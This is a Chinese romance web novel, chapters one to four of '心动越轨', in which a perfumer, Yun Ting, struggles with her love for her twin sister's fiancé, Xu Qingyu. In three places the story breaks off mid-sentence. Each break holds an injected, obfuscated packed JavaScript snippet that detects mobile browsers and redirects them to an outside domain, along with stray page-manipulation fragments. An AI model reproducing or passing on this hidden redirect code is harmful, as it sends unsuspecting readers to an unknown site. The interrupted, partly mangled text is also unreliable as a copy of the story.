《心动越轨》 1. 第一章 窗外,云层翻卷,大雨肆意,这场淅淅沥沥的雨已经持续了三天,湿漉漉的阴郁感令人焦躁难捱。 实验室,云听单手拿着打满红叉的实验记录本,眼眸低垂,静静地发愣。 脑海中,昨晚的对话回荡: ——“小闻,你不要怪爸爸妈妈封建,你和清聿是从小定下的婚姻,你们一起长大,彼此了解得深,清聿是一个值得依靠的人。” ——“为什么是我,小听不行吗?” ——“小听…不行。不管是性格,还是职业。” 云听和云闻是同卵双胞胎,云闻比她早生了15分钟。两人拥有相同的外貌,性格却截然不同。 云闻热情张扬,像一只翩跹的蝴蝶,她是人群中的焦点,天生的开朗和无拘无束让她能轻易地与人打成一片。 云听恰恰相反,在别人眼里她是省心又乖巧的存在。从不惹是生非,性情温柔,举止得体,像静谧的月光,沉静内敛。 不过真正了解她的人知道,这份温顺只是她精心构筑的外壳。毕竟她和云闻拥有相同的基因,成长环境也没有任何区别。 云闻的活力与热情、不顾一切去追逐自己所爱的劲头,也在她的血液里流淌,只是她将这一切藏匿在冷静的外表之下。 振翅的鸟儿不会畏惧任何风雨,无论它飞得多高多远,因为总有一片永不动摇的港湾为她遮风挡雨。 云闻,就是那只鸟儿。 … 清脆的电话铃声在静谧中响起,打破了云听的恍惚。 眼神渐渐恢复焦距,她低头看了眼手机,手指一颤接通电话。 妈妈孟妍的声音从另一头传来:“小听,今晚早点回家。我们和清聿的爸妈吃顿饭。” “清聿他…也接受了这门亲事。” 云听闻言,右手提起笔,将目光投向实验记录本的最后一行。最终,决然地在那儿打上了一个沉重的叉。 笔尖在纸上划过,留下几道干涩的凹痕。 孟妍自顾自地絮叨,云听皱了皱眉,再次用力划下。 锋利的笔尖撕开了脆弱的纸张,留下一道裂口,四周的纸纤维翘起,凌乱而破败。 撕裂的痕迹让她心底隐隐作痛的裂缝,重新被一点一点地扯开。 “小听,你在听吗?” “等下清聿顺路过来接你。” 云听将纸扔进垃圾桶,回:“不用了,我等会儿自己回去。” 结束通话,苏黎便敲了敲门,得到应允后推门进入,“小云姐,大伙儿在讨论晚上要一起聚餐吗?这段时间大家累得浑身乏力,现在需要喘口气儿。” 云听神色宛然恢复,将魂儿拉了回来,“不用了,今天家里有事。” 苏黎是大四的实习生,年轻热情,心思细腻。 干调香这一行的,也最忌讳粗枝大叶。 只一眼,苏黎就已察觉云听的异常,她凑过去,“外面的雨停了,心情也就好了。小云姐,多笑笑嘛。” 说完,她从身后拿出一杯热腾腾的奶茶,放在云听的桌子上,“周老师请我们喝奶茶。” 云听莞尔,眉眼带着几分勾人的风情,“谢谢。” 苏黎捂住胸口,佯装喘不上气,表情夸张至极,“小云姐,周老师之前说,你像一朵桃花。” “桃花?” 苏黎想了一下,似乎在整理措辞,“怎么说呢?你的妩媚是带着春意的,像桃花在微风中摇曳,不经意却恰到好处。” 云听愣了愣,随后忍不住笑出声,心中的阴霾消散了几分,“合格的调香师需要具备良好的情感表达能力,恭喜,你合格了。” 苏黎害羞地挠了挠头发,“我还没入门呢,成为像VOE的Elara老师才是我人生的终极目标。” 她顿了下,意识到这话不合时宜,“小云姐,我没有胳膊肘往外拐…” “没关系。Elara女士也是我的偶像。” VOE,全称“Veil of Essence”,翻译成中文是“馥隐”。“馥”意为精髓、芬芳,“隐”则象征着低调而神秘的气质。 VOE是业内最顶尖的香水品牌之一,许多人提到它,都会不由自主地竖起大拇指,尤其敬佩品牌背后的灵魂人物——Elara女士。 她不仅是一个富有创意的调香师,更是一个敏锐的市场预见者。她对香水的热爱不只出于“好玩”,更是因为她对香氛潮流的精准把控,让她在这个充满竞争的行业中屹立不倒。 Elara女士的洞察力无人能及。在她眼中,每一款香水都有其独特的时机,她擅长捕捉尚未流行的元素,把握市场上那些未被人发现的空白。 那些在推出之初反响平平的香型,在几年后往往会成为时尚前沿的宠儿,引得无数消费者追捧。 Elara推出的第一款香水叫“Frosted Bloom”,意为“霜花。” 这款以白梅香为主导的香水,初闻之际,香气清新冷冽,带着凛然的生机,如冬日晨曦中梅花的清香,干净纯粹,不染尘埃。 霜花刚上市的时候,市场反应出乎意料的冷淡。 许多人觉得它“太淡了”,也有的评价它“若有似无,缺少存在感”。 在香水推崇馥郁浓香的年代,白梅香水的淡雅显得格格不入,注定要被市场遗忘。 然而,时间流转,季节更替,最初嗅过它却不甚在意的人,忽然在某一时刻回忆起它独特的气味,于是霜花走红了。 从前不屑一顾的香水品牌开始重新审视这款香水的配方。各大品牌的调香师纷纷尝试破解香水的秘密,找到它受欢迎的原因。 他们花费无数心力,反复试闻、分析,却无法完美地复刻出白梅香水的香气。 这款香水的主调确实是白梅的清冷幽香,但其余的配料却如迷雾般难以捉摸。 因此传言,Elara创作时并未使用常见的香料搭配,而是选用了极为冷门的香材,甚至是某种从未公开的秘密成分。 更有人猜测,这款香水的配方包含了一种特殊的萃取工艺,能将白梅的清香完整保存下来,也能让香气的层次在空气中缓缓释放,长久驻留而不易散去。 至今,无人能完全破解这款香水的秘密,霜花独自立于香水市场之巅。 云听作为调香师,也曾被霜花独特的气息所吸引,但她对白梅香过敏。 淡淡的花香只要稍微触碰到她的鼻腔,便会引发轻微的头痛与喉咙刺痒,重则会在身上留下红色的痕迹。 白梅与她注定无缘。 可没有人知道,霜花上市的前一天,她已经闻过了这款香水。 在徐清聿身上。 那一天,云听回学校走得匆忙,转过角落时,猝不及防地撞上了一个结实高大的身影。 她还没来得及反应,整个人失去平衡,鼻尖直直地扑进徐清聿的胸膛。 清冷的白梅香像一根无形的丝线,牵引着她的呼吸,又将她密密麻麻地包裹起来。 她有些晕乎,也在这时候,熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698973|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的刺痛感自鼻腔深处蔓延开来,喉咙泛起一丝轻度的灼热。 云听的理智迅速回笼,意识到再这样下去,自己将无法支配身体的反应。 她不动声色地后一步,顾不得说抱歉,抽身离开。 她没有回头,却能感觉到那股白梅香气缠绕在空气中,追随她,久久不散。 第二天云听下课回到寝室,室友沈佳伽转过身问:“小云,你闻到了吗?今天早上刚到的货,忍不住喷了一点,味道还不错吧?” 是熟悉的白梅香。 云听原本以为徐清聿身上的香味是一种偶然,或是他从别人身上沾染的味道。 可是两款香味如出一辙。 为什么他会提前拥有这款香水? 徐清聿也从未表现出对香水的兴趣,亦不会无缘无故佩戴一款冷冽的白梅香。 * 苏黎抬手在云听脸上晃了晃,拉回她的思绪,“云听姐,下班啦。” “嗯。”云听低头收拾桌上的文件,将零散的物品归位。收拾完毕后,她走到挂衣架旁,从架子上取下厚重的棉袄,穿在身上。 实验室的人围成一圈,正讨论晚上去吃什么,火锅、烧烤、还是试试新开的日料店。 有人提出吃完再去唱歌,有人则提议去看场电影,看到云听出来,都目光友好地投向她。 “小云姐,真的不去吗?” “小云,一起去呗。” …… 云听淡笑,“不了,祝你们玩得开心。” 周之寒起身朝她走来。 他很高,一米九的个子站在那里,就给人一种很强的压制感,好在他长得清隽,五官柔和,倒也没那么凌厉,“小云,我陪你一起出去,我有事想和你说。” “好。” 云听推开门,雨已经停了,冷风扑面而来,她裹紧身上的外套,缩了缩肩膀。 长发被风吹得凌乱,几缕发丝垂在脸颊旁,增添了几分柔弱的疲惫感。 两人来到公司门口,周之寒忍不住伸出手,刚伸到半空,云听下意识地侧过头,避开了他的触碰。 “周老师。” 周之寒歉意地笑了笑,低声说道:“不好意思啊,我就是……看不得凌乱。” “没关系。” 周之寒说:“小云,小心苏黎,她的目的也许…不纯。” 云听点头,“嗯,谢谢。周老师,你先回去吧。” 周之寒见她不愿多说,知分寸地点到为止:“好,你回去注意安全。” “嗯。”云听转过身,余光看到一辆黑色宾利静静地停在门口。 车身被雨冲洗过,漆面光滑如镜。 是徐清聿的车,车牌号她不会认错。 可此刻,她并不想见到他。 对自己未来的姐夫抱有异样的心思,她不该。 手中的奶茶残留着最后一点温度,云听冰冷的手指握紧杯子,从这缕温暖中汲取些许安慰。 沉默了一会儿,在徐清聿耐心丧尽之前,她坐上他的副驾。 云听没想过坐这儿,只是有一次,她安静地坐在后座,看车窗外飞驰的树木。 徐清聿突然开口:“云听,我没有义务做你的司机。” 云听一怔,心里仿佛被什么刺痛了一下。原本放松的手指攥紧了包带,她没有回话,低头避开了他在后视镜中的冷冽目光。 如果可以,她也不想麻烦徐清聿。 可下一秒她听见他说:“下一次,坐前面。” 2. 第二章 车内弥漫着一种淡雅却不侵略的气息,云听紧绷的身子放松了些许。 对于白梅的过敏,她是在长大后才发现的,小的时候对白梅花香无感,只是后来,渐渐发现自己对这种花香过于敏感,因此,爸妈还有云闻,都不知道这件事。 引擎长时间没有动静,云听侧过脸,疑惑地看向身旁的徐清聿。 夜幕外的街灯掠过他的侧脸,光影交织中,轮廓显得愈发分明。 这样一个男人,恰如她心中理想伴侣的所有标准,却偏偏有着一种遥不可及的距离感。 两人一时陷入沉默,徐清聿没有说话,他一只手搭在方向盘上,指尖敲打着,然后侧目瞥过她手中的奶茶,眼神似有深意。 云听觉得有些窒息,终于忍不住低声唤了他的名字。 “徐清聿,谢谢你。” 礼貌、客套、疏离。 徐清聿很轻地皱了下眉,他不是第一次见到这样的场景了。事实上,这已经是第三次,他看到云听与不同的男生亲密接触。 默了半晌,才撇开眼,没什么情绪地回了一个字,“嗯。” 车子发动,云听系好安全带。 正值下班高峰期,车流如织,红绿灯接连不断地闪烁。 周围的车辆如同一条停滞的河流,车窗外是一片急躁的嘈杂,喇叭声此起彼伏。 徐清聿目光淡然,没有烦躁或不耐。 短暂的等待中,手机屏幕亮起。 云听低头一看,是云闻发来的信息。 姐:「听宝,爸妈和你说了吧?」 姐:「图片.jpg」 云听放大图片,是云闻和徐清聿的聊天记录,时间是徐清聿在公司门口等她的时候。 云闻:「聿哥,你去接小听了吗?」 徐清聿:「嗯」 云闻:「聿哥,我不知道你为什么要答应这件事,你不喜欢我,是吗?」 云闻:「小听说,你喜欢我,可是聿哥,我感受不到。」 徐清聿没有回复,十分钟后,云闻又发了一条。 云闻:「聿哥,凡事都讲究你情我愿,我也不想咱们婚后生活不和谐。咱们都是成年人,我就直说了,我想和你睡一觉,先试一试。」 五分钟后。 徐清聿:「好。」 云听怔怔地盯着屏幕上的字,指尖冰凉,最后一个字变成一把利刃,深深地刺入她的心底。 心脏开始剧烈地收缩,疼痛如同潮水般一波又一波地涌来,疼得她无法呼吸。 她本以为自己已经做好了足够的心理准备,接受徐清聿和姐姐之间的婚事,可当亲密露骨的词赤裸裸地呈现在眼前时,她才意识到,自己无法坦然面对。 短短几秒钟,她的脸色愈发苍白,唇也失了血色。 胸口的疼痛逐渐扩散,深入骨髓的寒冷,让她全身都变得僵硬。 姐:「听宝,转告一下子聿哥,路过便利店顺便买点套」 云听握紧手机,失落地闭上眼睛,纤长的睫毛颤了颤。 她不明白,云闻为什么让她帮忙转告。 她一个外人,不合适。 等再睁眼时,她的神色已恢复如常,安静的空间突兀响起一道声音。 “徐清聿。” “嗯。”徐清聿说。 正常人被突如其来的呼唤,往往会习惯性地询问一句“怎么了?”或“有什么事吗?” 而他仅仅给了一个简单的字眼,“嗯”。 云听咬了咬唇,“姐姐,让你路过便利店买、买套。” 闻言,徐清聿终于侧目,将视线分给了她。 金丝边眼镜架在他高挺的鼻梁上,将他的眼神隐藏在一层浅薄的迷雾之后。 是喜是怒,是沉思还是波动,平静得让人无从窥探。 他说:“不用。” “啊?”云听脑袋宕机,不用是不需要,还是没必要,亦或是他已经准备了? 但她不想多问,将徐清聿的话原模原样复述给云闻。 徐清聿看她拿出手机,纤细的手指落在屏幕,指甲盖透着淡淡的健康的粉色。 和云闻不同,云听不会刻意打扮自己,更不会像她那样涂抹亮丽的美甲或佩戴夸张的饰品。 车内的暖气徐徐流动,云听似乎觉得有些热了。 她解开棉袄的扣子,毫无防备地露出脖子侧面的曲线,细腻的皮肤在光的映衬下透出浅粉色的莹光。 徐清聿看着她裸露在空气中的脖颈,扶了扶眼镜:“云听,我爸妈以及你爸妈都希望我和云闻能有一个孩子。” 意料之中的,云听的手指微不可察地抖了一下。 她深吸一口气,将心底的酸涩和痛苦硬生生地压了下去,不让自己露出破绽,“那我提前祝、祝你和姐姐幸福。” 前方的路已然疏通,徐清聿收回视线,踩下油门。 * “碧云天”在南海非常火爆,向来需要提早预约才能订到位置。 餐厅主打精致的古风装潢,进门是一面雕花屏风,四周点缀着墨色山水画和水墨风灯笼。 云听和徐清聿到包厢时,双方家长已经到达,几人寒暄着坐下。 徐清聿的爸爸妈妈,爷爷奶奶,弟弟徐淮风以及云闻和爸妈。 孟妍抬眼,目光在云听厚重的装扮上停留了一会儿,眼神不满,“小听,怎么一点都不正式?今天这么重要的场合,你就穿成这样?” 孟妍是一个典型的强势女人,虽然文化水平不高,却因多年来的生活经验而养成了自信且果断的作风,凡事都要自己说了算。 对她来说,什么场合都要安排得妥妥当当,精致且排场十足的“碧云天”就是她亲自选定的,不容有半点商量。 云听的爸爸云渡是德高望重的化学教授,孟妍和云渡在一起,在外人看来是她高攀了。 一向温吞乖巧的女儿让孟妍失了面子,她提高音量:“云听,和你说话你听到了吗?” 其他人过来打圆场。 “没关系的,年轻人嘛,穿得舒适就好,正式不正式不重要。我们家孩子也是一样,总是随性惯了。” “小听工作也很累,外面天这么冷,保暖最重要。” “早就是一家人了,随便小听怎么穿。” 云听嘴角扯出一个笑容,视线落在孟妍身后的水墨画和书法作品,嘴唇翕动,“附庸风雅。” 她走到云闻身边,耐心道:“妈,这不是我的婚礼。姐,换个位置。” 照理说,这次见面最重要的是云闻和徐清聿,两人马上就要筹备婚事,所以两家人不约而同地在桌边留出两个相邻的位置,显然是希望两人坐一起。 可是早到的云闻选择了另一个位置。 云听有点看不懂她了。 云闻眨眼,“不换了,我想坐这里,和小风聊聊天。” “我跟小风挺有共同语言的。” 云听知道,云闻和徐淮风并没有所谓的共同语言。但她没有拆穿,徐淮风和徐清聿也缄默不语。 家长们互相对视了一眼,面面相觑。 徐母笑了笑,柔声说道:“这样也好,大家随意一点,不用拘束。” 餐桌上,双方家长聊到婚礼的事,气氛愈发热络。 徐奶奶面含笑意问云闻是否有什么特别的婚礼构想,传统的中式婚礼,西式婚礼,户外、旅行、复古还是乡村婚礼… 云闻深吐一口气,摇了摇头。 本想全盘否定,最后只轻飘飘说了两个字:随便。 除了四个年轻人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698974|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其余每个人都一言一语地发表看法。 听着长辈对婚礼的畅想,云听默不作声地抿了一口酒,口中漫开苦涩,带着刺鼻的辛辣。 无处安放的苦楚悄无声息地攀上她的心头,她又抿了一口,让酒液的苦涩掩盖内心的酸涩。 话题不知不觉转向了婚后的生活,家长开始讨论起小孩。 徐母温和地说:“其实也不用太着急,年轻人有年轻人的节奏,婚后可以先好好享受生活,孩子的事随缘就好。” 孟妍也连连点头,附和道:“是啊,孩子的事随缘来得自然,年轻人也不必急着要小孩,还是先享受二人世界,多一点自由。” 徐爷爷慈爱一笑,眼角的皱纹堆积起来,他也道:“对,不着急,小闻还小。” 其实两老人家是最喜欢小孩子的,平时无论是自家孩子还是邻居家的小孩,他们都会亲切地逗上几句。 听到这里,云听猛地抬头,大脑昏沉混乱不堪。 身边的徐清聿指尖随意散漫地摆弄酒杯,哪怕察觉到她的注视和困惑,也未置一词。 成年人与小孩子的区别在于,有些事情小孩子会停留在困惑中,而成年人能在沉思中寻得答案。 要小孩这事,家长的想法与徐清聿的说法相悖。车上徐清聿说的,根本不是出自家长的意愿。 既然家长们并没有催促孩子的意思,那么,那些话语,让她以为是迫于家人压力的,其实是徐清聿个人的意愿。 心脏又开始疼,冰冷的现实狠狠击碎了她内心深处仅剩的期待。 * 因为爸妈工作的原因,云听和云闻八岁时,便住进了徐宅。 长大后云听想过搬出去,但徐爷爷和徐奶奶总用温和却坚定的态度回绝她,没有商量的余地。 “我看着你们的爸爸长大,不是儿子胜似儿子。这里就是你的家,搬出去多不方便,还是住在一起热闹。” 云听搬出去的想法只能作罢。 结束晚餐,徐淮风因为有课业要赶,先回了学校。 云听和云闻则和徐清聿一起返回徐宅。 车子驶过夜色中的街道,窗外的霓虹灯影在车窗上映出模糊的光晕,三人沉默地坐在车内,各自怀着心事。 晚上九点,云听从浴室出来,热气在她周围氤氲散开,蒸腾的暖意让她的脸颊回了血色。 她拿起手机。 姐:「听宝,我没吃饱,可以帮我送一点小蛋糕过来吗?」 云听愣了一下,略微犹豫,随即回了一句:「徐清聿不在吗?」 云闻没有回。 云听叹了口气,拖着疲惫的身体,去厨房找来一个小蛋糕,放在小托盘上。 其实,她晚上也没怎么吃东西,只是喝了些红酒,空腹的刺激让胃部时而收缩,时而绞扭,但抽痛并不尖锐,能忍。 她来到云闻的房间门口,门是虚掩着的,云听伸手敲了一下,柔声问了一声:“姐,你在吗?” 屋内寂静无声,没有任何回应。 云听扶着门框稍稍探头向内望了一眼,然后推开门,走了进去,将小蛋糕放在桌子上。 准备转身离开时,她的目光不经意地扫过卫生间的方向,门敞开一条缝。 她看到云闻站在徐清聿面前,脱了衣服。 腰肢芊芊,美腿修长,皮肤白皙而刺眼。 徐清聿衣着整齐,两人之间的距离近得几乎没有缝隙。 云听看到徐清聿垂下的头,却看不到他的视线落在哪里,但他对这一切并不抗拒。 紧接着,云闻踮起脚尖,唇瓣贴上了他的唇。 眼前的画面刺痛了云听的眼睛,胃里翻江倒海。 吐着信子的蛇盘旋在她腹中,一圈一圈的收紧,顿顿的,牵扯出阵阵痛意。 3. 第三章 云听不知道自己是怎么从云闻房间离开的。 冷汗已经湿透了额头,顺着脸颊滑下,她的手心、脊背,每一寸肌肤都被浸透,彻骨的冰冷四起。 她踉跄着回到房间,扶着洗手台,望着镜中狼狈的自己。 缓了十分钟,云听拧开花洒,让温热的水流冲刷身体,驱散冷汗带来的寒意。 胃部的钝痛依旧作响,像一根根细针扎在神经上,刺痛而又绵长。 并非只是胃疼,是心中的失落与难过在体内发酵,最终化作了胃的绞痛。 又过了十分钟,她披上浴袍,走出卫生间。 云闻正躺在她的床上,似乎已经等候多时。 她慵懒地靠在床头,手里拿着一本杂志,杂志的封面是一位冷艳模特,妆容精致,穿着华丽的高定礼服,背景是流光溢彩的都市夜景。 是Livia,云闻的竞争对手。 听到脚步声,云闻抬起头,不顾形象猛地从床上跳起,杂志“啪嗒”一声掉落在地,“听宝,快把胃药吃了。” “听宝,你的脸色好白。” “听宝,你知道你难受我也会跟着难受吗?” “听宝,我刚刚是不是刺激到你了…” 云听接过胃药,药片在齿间碎裂成了细小的粉末,悉数吞咽下去后,她浅笑着说:“姐,谢谢你。” 她和云闻是这个世界上最亲密的人,彼此的喜怒哀乐早已成为生命中不可分割的一部分,没有人比她们更了解对方。 云听从不怀疑云闻对她的关心,也从未对云闻产生过丝毫怨恨。 哪怕她知道云闻和徐清聿即将结婚,哪怕她刚才不经意间撞见云闻故意让她看到的一幕。 没错,云闻是故意的,算好时间,找好地点。 云听喜欢徐清聿,但也深爱着云闻,她希望云闻比她幸福。 云闻的优秀毋庸置疑,自信、聪慧、光芒四射,拥有所有人向往的美好品质。 云听始终觉得,像云闻这样的人,理应得到最好的生活,也应得到徐清聿的爱。 “听宝,先去吹干头发吧,待会儿别又感冒了。” 云听猜到云闻过来是有话对自己说,乖巧地点了点头,“好的。” 转过身时,她的视线落在地上的杂志,径直从上面踩了过去。 身后的云闻笑得花枝乱颤。 吹完头发后,云闻掀开一侧的被子,朝云听拍了拍空出的床位。云听顺从地钻进被窝,拉好被子。 “听宝,你会怪我吗?” 云闻说不忐忑肯定是假的,她知道自己的妹妹喜欢徐清聿,比她想象中的还要久,还要深。 云听总以为自己掩饰得很好,但喜欢一个人的眼神是藏不住的,更何况,两人还是双胞胎。 “姐,不会的。”云听握住她的手,她永远不会因为徐清聿与她产生隔阂。 听到她的保证,云闻仍是欲言又止,半晌,她小心翼翼问,“听宝,可以不喜欢聿哥吗?” “姐,你放心,我会放下他。” 云闻脸色微变,旋即恢复如常,“不是,不是这个原因,是因为聿哥他…他有病。” 云听错愕:“什么?” “就是阳…”萎字还没说出口,云闻意识到自己过于粗鄙,徐清聿再怎么样也算她半个哥,她轻咳一声,随即换了一个相对委婉的说法,“就是…聿哥他有性.功.能障碍…” 云听眼眸一闪,似懂非懂。 云闻出现在这说明了什么,她后知后觉,斟酌着说:“姐,现在医学很发达,速度快…能治好的吧?” 能不能治好,云听多少是不确定的。 “不是。”见云听误解自己的意思,云闻又绕回粗鄙的词,“不是早.泄,是阳.痿。” 云听:“……” 云闻拧眉“啧”了一声,“听宝,我身材好吗?” 云听不假思索:“好。” 云闻是模特,毫无疑问,她拥有令人艳羡的好身材。 臀部上翘;胸.部饱满而紧致;腰部柔和、纤细,却又蕴含力量,每一寸肌肤都经过细致的雕琢,既不显得过于骨感,也没有多余的赘肉。 尽管她的身高只有168厘米,在模特圈中略显不足,但她的身材比例却近乎完美。 腿部修长匀称,线条流畅,在拍摄时,那双腿总能成为镜头的焦点,让人本能地忽略了她的身高。 相比之下,云听更单薄一些。 但云闻总说,她愿意用自己的身材换云听脆弱的脖子。 那里,能勾起男人的施暴欲。 云闻正襟危坐,严肃几许:“听宝,我实话告诉你吧,之前我想让你代替我和聿哥结婚。但是我后悔了,聿哥不像我们想象中那样完美。有些东西,你看到的只是表面。” 她脸色渐沉,“两天前,我遇到了唐老师,她不知道从哪知道我和聿哥即将订婚的消息,对我冷嘲热讽。” “她自称是聿哥的前女友,她说聿哥有病,身体心理都有病。” 字句沉重,像石块落地。 云听屏息凝神,打断云闻的话,“所以,你故意…让我看到?” 云闻说:“心理有病暂且不说,结婚没有性.生活绝对不行,听宝,我不能把你往火坑里推。” 云听沉默不语。 她只当性格使然,即使在情.事上,徐清聿也禁欲冷淡,所以会被动一些。 云闻鄙夷地翻了个白眼,“听宝,你说徐叔叔知道聿哥和比他大10岁的老师在一起过吗?” 云听不着痕迹地别开她的目光,弱声道:“我知道徐清聿和唐老师的事。” 这话甫一出口,云闻瞳孔震了震,“你说什么?” * 6年前的暑假。 云听结束大一,主动联系了许多调香企业,终于在星澜市找到一份关于调香的实习工作。 星澜市,恰好是徐清聿所在的城市。 夏天的午后,太阳正烈。 下高铁后,云听站在遮阳处,低头看了眼手机地图,拥堵的红色线条布满整条道。 司机目前距离她1.2公里,12分钟。 她有轻微的洁癖,加上嗅觉比其他人灵敏,所以地铁那种密闭的空间,潮湿闷热的味道夹杂汗水、消毒水味以及各式各样难以描述的刺鼻气息,都会在她的感官中无限放大。 因此,她选择打车。 她家和徐家都是不折不扣的富裕之家,虽说身家丰厚,但他们的生活方式与世俗眼中的豪门有所不同。 徐家尤其显得低调内敛。 作为医生世家,他们不仅财富雄厚,而且在业界享有崇高的声誉,是医界的同行与学术圈的翘楚。 与豪门动辄出行配备司机、保镖的奢华不同,徐家更倾向于简朴的生活方式。 无论是长辈还是年轻一代,都保持一份低调和谦逊。 … 车子没动,预计等待时间在增加。 云听是个有耐心的人,既然选择打车,就已经做好接受慢节奏的准备。 手机忽然响起,来电显示竟然是徐清聿。 她愣了一下,心跳加快。 徐爷爷徐奶奶放心不下她一个女孩子孤零零地生活在陌生的城市,便让她住到徐清聿的公寓,不仅离她实习的地点近,彼此也能有个照应。 云听表面应下,但私下没有联系他。 滑动接听键,徐清聿冷淡的声音传来,他开门见山问:“在哪?定位。” “徐清聿…不用了,我可以住酒店。” 徐清聿重复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698975|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“定位。” 云听怔了一下,想再次拒绝的话在他冷冷的语气下变得晦涩,她轻声报出自己的位置。 徐清聿“嗯”了一声,挂断电话。 不多时,一辆低调的黑色奔驰停在云听面前。 车门打开,徐清聿从车上下来,漆黑的头发像是刚洗过,额前的碎发看起来软趴趴的,很乖。 他的五官精致冷冽,眼珠极黑,深邃得像夜空中没有光亮的暗影。 左眼下方一颗黑色的泪痣坠在冷白的皮肤上。 一副冷血薄凉的皮相。 徐清聿没有多余的话语,径直走到云听面前,伸手顺势地接过她的行李,然后掀了掀薄薄的眼皮,“上车。” “好。”云听走在他身后。 到达公寓。 整个空间是浅灰和白色的搭配,家具井然有序摆放,干净得不染一丝尘埃。 “你住那边的房间。”徐清聿指了指左边的一扇门。 云听点头,推着行李箱进去,“谢谢。” 接下来的几天,徐清聿一如既往早出晚归。集训、培训还是实习,云听不清楚。 他回到家就去书房忙碌,沉浸在医学的世界中,对其他事情淡然处之。 云听也开始自己的实习工作,每天学习调香技巧和相关知识,逐渐适应这种生活节奏。 两人虽然住在同一个屋檐下,彼此的存在却是两条平行的线,疏离,不可逾越。 没有多余的寒暄,更没有任何亲密的举动。 哪怕是短暂的对视,云听都会本能地回避。 和徐清聿同居的第二周,她见到了唐瑶老师。 唐瑶,32岁,单身,顶尖的医学博士。 她时常会在社交媒体上分享一些专业的医学知识和科普内容,凭借扎实的知识和睿智的见解在网络上小有名气。 当然不排除很多人是因为她的脸和身材而关注她。 成熟知性,魔鬼的身材,哪个男人不爱? 这几天,徐清聿的感冒一直没好,声音沙哑,咳嗽时断时续,云听便想着去厨房煮碗冰糖雪梨汤,让他润润嗓子。 煮的过程中,她回房间洗了个澡。 煮好后,她端着汤,走到徐清聿的房间门口。 门没有关,眼前的画面让她顿时僵在原地,动弹不得。 唐瑶身穿一件颇为暴露的吊带睡衣,纤细的肩膀和修长的双腿暴露在昏黄的灯光下。 与她在网络上的模样截然不同,此刻她不再是成熟冷静的医学博士,而是一个在异性面前展露柔情与妩媚的女人。 她贴近徐清聿,微启红唇,语气亲密柔媚,仰着脸甜腻地叫着他的名字,“清聿。” 唐瑶身材高挑,穿平底鞋也足有172公分。 但在近190的徐清聿面前,她看起来很娇小。 徐清聿声线冰冷无欲:“唐瑶。” 唐瑶带着近乎央求的意味,甜软的嗓音令人耳朵发麻,“清聿,你和老师试一下,好吗?” 说完,她搂住徐清聿的腰,踮脚仰头要去亲他。 徐清聿皱了皱眉,眼中闪过明显的嫌弃。 他抬手按住她的肩膀,毫不客气地将她推开,“唐老师,请自重。” 唐瑶红了眼眶,将泣未泣,“清聿,我是真的喜欢你。” 徐清聿明显不耐烦了,“喜欢我,我就要和你上.床吗?” “清聿,我、我知道很多人都想和你上.床,我没有她们年轻,但是——” 云听看见唐瑶蹲下身,撩起徐清聿的衣服。 结实的腰腹线条一截边缘露在外面,每一丝肌理都充满了冷峻的美感。 唐瑶没有停下,她的手在颤抖,接着解开了他的皮带,勾住里面的内.裤,往下拉。 4. 第四章 冰糖雪梨汤滑落,碗坠地,汤汁四溅,滚烫的液体溅在云听的脚背上,但她全然没有感受到灼热的疼痛。 房间的两人听到声音,转过头。 唐瑶没想过房间有第三人。 她仓促地松开手,慌乱避开云听的目光,然后抓起旁边的衣服,狼狈逃离房间。 唐瑶走后,只剩两人。 徐清聿看到云听怔怔地站在门口,眼神空洞,像一潭死水,低头间,注意到她脚背红红的。 他眉头微蹙,走上前,问,“能走吗?” 云听才被他的声音唤回神智,低头一看,瓷碗碎成了白色细片,脚背一片微红。 见她愣怔不语,徐清聿误以为她疼得难以行走,俯身将她抱起,长腿迈过地上的碎片和洒落的汤水。 云听猝然落入他的怀抱,突然的腾空让她下意识地环住了他的脖子。 她闻到了徐清聿冷冽的气息,听到了他的心跳声,沉稳有力,如大提琴低沉的弦音,一下一下地撞击着她的耳膜。 徐清聿抱着她走向沙发,将她放下,从柜子里拿来药箱,为她敷药。 云听的脚背像触电般颤抖了一下,脚趾不由得蜷缩起来。 她的脚很敏感,轻轻一碰便觉得酥麻,而徐清聿温热的指尖正一点一点地在她的肌肤上滑动,令她忍不住想往后缩。 没等她完全抽回去,徐清聿察觉到她的动作,手一紧,牢牢抓住她的脚腕,轻声却不容置疑地说了句:“别动。” 云听心头一震,望着他低垂的眼帘,忽然有些不知所措。 两人没有提刚才的事。 云听垂眸,无意瞥到徐清聿黑色内.裤的隐秘一角,那一刻,她的呼吸停滞了,视线定格在那一处,心跳失了节奏。 